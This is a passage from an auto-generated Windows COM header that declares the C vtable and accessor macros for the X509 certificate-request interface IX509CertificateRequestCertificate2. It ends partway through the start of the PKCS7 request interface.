STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCertificate2Vtbl;\n\n    interface IX509CertificateRequestCertificate2\n    {\n        CONST_VTBL struct IX509CertificateRequestCertificate2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCertificate2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCertificate2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCertificate2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCertificate2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCertificate2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCertificate2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCertificate2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCertificate2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCertificate2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCertificate2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCertificate2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCertificate2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCertificate2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCertificate2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCertificate2_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestCertificate2_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRequestCertificate2_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_NotBefore(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotBefore(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_NotBefore(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotBefore(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_NotAfter(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotAfter(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_NotAfter(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotAfter(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SerialNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SerialNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCertificate2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCertificate2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestCertificate2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs7 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs7;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab344-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs7 : public IX509CertificateRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions = InheritDefault) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromInnerRequest( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_RequesterName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE 